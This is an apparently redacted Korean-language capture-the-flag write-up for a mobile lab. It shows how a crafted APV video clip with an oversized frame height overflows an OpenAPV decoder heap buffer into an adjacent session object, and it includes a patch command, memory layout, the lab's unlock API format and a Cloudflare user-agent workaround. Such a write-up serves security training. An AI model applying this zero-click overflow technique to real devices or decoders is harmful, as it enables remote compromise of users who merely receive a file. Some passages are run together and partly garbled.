
CVE-2026-28618 / StreamBox APV 랩 관련 편집된 노트 — FRAME 높이 불일치를 통한 세션 객체로의 힙 쓰기
StreamBox의 CVE-2026-28618 — 실제 공격에 사용된 Android APV RCE와 동일한 디코더 클래스를 세션 객체에 대한 힙 쓰기로 전환한 것입니다.
이 저장소는 공개된 편집(redacted) 분석 문서입니다: 플래그, 인스턴스 토큰, HMAC 키는 생략되었습니다. APK와 make_clip.py는 Mobile Hacking Lab에 속하며, 여기에 미러링되지 않았습니다.

StreamBox는 작은 APV 플레이어입니다. APV는 Advanced Professional Video (RFC 9924)로, 삼성의 로열티 없는 코덱이며 Android 미디어 스택에 탑재된 것과 같은 계열입니다. 랩의 핵심 설명은 한 문장입니다: 플레이어는 공유된 클립을 도착하면 재생한다.
SEND, VIEW, 또는 streambox://?url=…은 파일을 files/incoming.apv에 떨어뜨리고 NativeDec.loadClip()이 실행됩니다. 클립에 추가 탭이 필요 없습니다.
버그는 CVE-2026-28618입니다: OpenAPV의 dec_frm_prepare에 있는 힙 버퍼 오버플로입니다. 올해 초 실제 공격에 사용된 제로클릭 APV RCE인 CVE-2026-0006과 동일한 클래스, 동일한 디코더입니다.
랩은 그 쓰기를 게임으로 포장합니다. 하드코딩된 64×64 Y 평면을 오버플로하고, 인접한 세션 객체를 덮어쓰고, teardown을 handlers[2]로 리다이렉트하면 Worker가 플래그를 돌려줍니다.
키트는 랩에서 제공하는 두 개의 zip입니다:
streambox-lab.apk.zip — 플레이어make_clip.py.zip — 64×64 라이브러리 클립이 어떻게 만들어졌는지, 그리고 오버플로하는 비트스트림
PlayerActivity는 다음을 수행합니다:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);
// WebView bridge later calls Android.openTier(status)
openTier(1)은 부분 성공입니다 (세션이 건드려졌지만 토큰 불일치). openTier(2)는 win()입니다. PremiumActivity는 네이티브 상태를 랩에 POST합니다:
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
부팅 시 앱은 이미 POST /api/instance와 NativeDec.setPlatinumToken(token)을 수행했습니다. 그 토큰이 바로 오버플로가 세션에 써넣어야 하는 것입니다.

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
oapv_imgb_t는 64×64, 10-bit YUV로 하드코딩되어 있습니다. 평면 0 (Y)은 arena+0에서 시작합니다. 64 × 64 × 2 = 0x2000. pad == 0이면 세션은 Y 바로 다음 첫 바이트에 위치합니다.
oapvd_decode()는 FRAME PBU의 너비/높이에 씁니다. 64보다 높은 FRAME은 10-bit 샘플을 session에 바로 씁니다.
디코드 후:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

랩의 생성기는 64×64 RGB 32 프레임을 그린 뒤 yuv422p10le로 변환하고, OpenAPV 참조 인코더를 호출합니다:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
번들된 모든 클립은 FRAME 64×64의 32개 액세스 유닛입니다:
[u32be au_size] ['aPv1' + PBUs] × 32

플레이어는 여전히 64×64를 할당합니다. 모든 AU의 frame_height를 64 → 72로 패치하세요:
python3 scripts/patch_frame_height.py clip_pulse.apv -o overflow_height72.apv --height 72
공유하세요 (SEND / VIEW / streambox://?url=). 자동 재생이 곧 익스플로잇입니다.
더 깔끔한 오버플로는 make_clip.py의 H를 72 또는 128로 편집하고 재인코딩하여 추가 Y 행이 실제 픽처 데이터가 되게 하는 것입니다. 너비 64의 10-bit 평면에서 행 64는 128 바이트입니다:
OBMAERTS가 아니게 되어야 함)g_token)2APV는 손실 압축입니다; oapv_app_enc를 통한 정확한 10-bit 값은 QP 0 / 거의 무손실이 필요합니다.
상위 버그 클래스에 대한 관련 공개 PoC: mobilehackinglab/CVE-2026-0006-openapv-poc.
Python urllib는 Cloudflare 1010을 받습니다. 모바일 UA를 사용한 curl은 작동합니다.
Worker는 원본 magic을 no overflow evidence: session magic intact로 거부합니다. ASCII STREAMBO (LE uint64와 다른 바이트)는 쓰기로 간주됩니다.

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py
win()은 loadClip이 2를 반환할 때 플레이어가 보여주는 것입니다:

dec_frm_prepare의 차원 검증Mobile Hacking Lab의 StreamBox 실습을 위한 승인된 랩 노트입니다. APK, 라이브 토큰, 플래그는 없습니다. 소유하지 않았거나 테스트 권한이 없는 대상에 대해 이 프리미티브를 실행하지 마세요.